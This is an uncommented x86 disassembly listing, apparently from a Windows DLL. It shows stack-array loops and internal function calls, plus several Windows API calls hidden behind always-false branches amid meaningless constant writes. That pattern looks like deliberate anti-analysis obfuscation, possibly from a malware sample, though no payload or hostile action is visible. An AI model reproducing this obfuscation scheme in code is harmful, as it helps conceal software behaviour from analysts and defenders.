inc ecx
jmp 0x10012352
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x84], 0x1cecb457
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10012341
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
add eax, ecx
add dword [ebp - 0x84], eax
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x10012380
push ebx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov dword [ebp - 0x4c], 6
lea ecx, [ebp - 0x5ec]
push edi
call fcn.1000a859
mov byte [ebp - 4], 8
mov dword [ebp - 0x28], 0x4e2
inc dword [ebp - 0x28]
mov dword [ebp - 0x28], 0x17
jmp 0x100123cb
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x100123c5
push 0x1d17
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov eax, dword [ebp - 0x28]
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xb
jle 0x100123aa
mov dword [ebp - 0x2c], 0x7073
mov dword [ebp - 0x30], 0xea5d6c05
mov dword [ebp - 0x30], 0x14
jmp 0x10012416
mov dword [ebp - 0x20], 0xeede0b40
mov dword [ebp - 0x20], 0x12
jmp 0x1001240d
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1001240a
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffff
jne 0x100123f8
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x11
jg 0x100123e8
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1001242b
call dword [sym.imp.GDI32.dll_GdiFlush]
mov dword [ebp - 0x10], ebx
jmp 0x10012443
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x674]
mov dword [eax + ecx*4], 0xfffffffa
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10012430
xor eax, eax
lea ecx, [ebp - 0x10c]
inc eax
push eax
call fcn.1000a859
push 2
pop esi
push esi
lea ecx, [ebp - 0x48c]
mov byte [ebp - 4], 9
call fcn.1000a859
mov dword [ebp - 0x40], 0xbc0d133f
mov dword [ebp - 0x60], 0x6dabac8e
mov dword [ebp - 0x34], ebx
jmp 0x1001248b
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x17c], ebx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edi
jl 0x1001247e
xor edx, edx
mov dword [ebp - 0x34], ebx
inc edx
jmp 0x100124a8
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10c]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edx
jl 0x10012498
mov dword [ebp - 0x34], ebx
jmp 0x100124c5
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x48c]
mov dword [eax + ecx*4], 0xffff
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jl 0x100124b2
mov eax, dword [ebp - 0x10c]
mov dword [eax], esi
mov esi, dword [ebp - 0x48c]
jmp 0x100124dd
xor edx, edx
inc edx
mov dword [ebp - 0x38], 0xc9b780f8
mov dword [ebp - 0x40], 0x5604491d
mov dword [ebp - 0x20], ebx
jmp 0x10012501
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x788], 4
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x100124f0
xor eax, eax
cmp dword [esi + 4], 0xfffffff6
setg al
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x17c]
mov ecx, dword [ebp - 0x17c]
add eax, 0xc8dd
imul ecx, eax
test ecx, ecx
je 0x10012538
cmp dword [ebp - 0x38], ebx
jne 0x1001253a
mov edx, ebx
mov eax, dword [ebp - 0x10c]
xor ecx, ecx
push 0xa
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x17c]
cmp edx, eax
pop eax
setne cl
add ecx, eax
jne 0x10012560
cmp dword [esi + 4], ebx
jne 0x10012560
mov ecx, ebx
jmp 0x10012565
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x38]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x784]
setl dl
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x17c]
cmp eax, edx
sete cl
xor eax, eax
cmp ecx, 0xbefa
setle al
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x17c]
mov ecx, dword [ebp - 0x40]
sub eax, dword [esi + 4]
add ecx, eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov dword [ebp + eax*4 - 0x17c], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x60], 0xff57440e
dec dword [eax]
mov edx, dword [eax]
jns 0x100124da
xor ecx, ecx
cmp dword [esi + 4], ebx
setne cl
xor eax, eax
cmp ecx, edx
lea ecx, [ebp - 0x48c]
setg al
mov dword [ebp - 0x40], eax
call fcn.1000a94e
lea ecx, [ebp - 0x10c]
mov byte [ebp - 4], 8
call fcn.1000a94e
mov dword [ebp - 0x10], ebx
jmp 0x10012620
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x5ec]
mov dword [eax + ecx*4], 0xc8490231
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1001260d
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], edi
jg 0x10014421
lea ecx, [ebp - 0x52c]
lea edx, [ebp - 0x51c]
movdqa xmm0, xmmword [0x10008800]
push ecx
push edx
push ecx
lea ecx, [ebp - 0x39c]
movdqu xmmword [ebp - 0x52c], xmm0
call fcn.1000a895
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1001266b
push ebx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x39c]
mov dword [eax], ebx
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1001268f
lea ecx, [ebp - 0x5ec]
call fcn.1000a94e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x674]
call fcn.1000a94e
mov edi, 0x6da5
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x18], 0xbf90edca
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x40], 0xfffffffa
mov dword [ebp - 0x44], 0xf3f17e2f
mov dword [ebp - 0x38], 0xb3bfa32a
mov dword [ebp - 0x20], ebx
push 3
mov dword [ebp - 0x4c], 0x9069002f
mov dword [ebp - 0x10], ebx
pop edx
jmp 0x10014488
cmp dword [ebp - 0x10], edx
jl 0x1001447b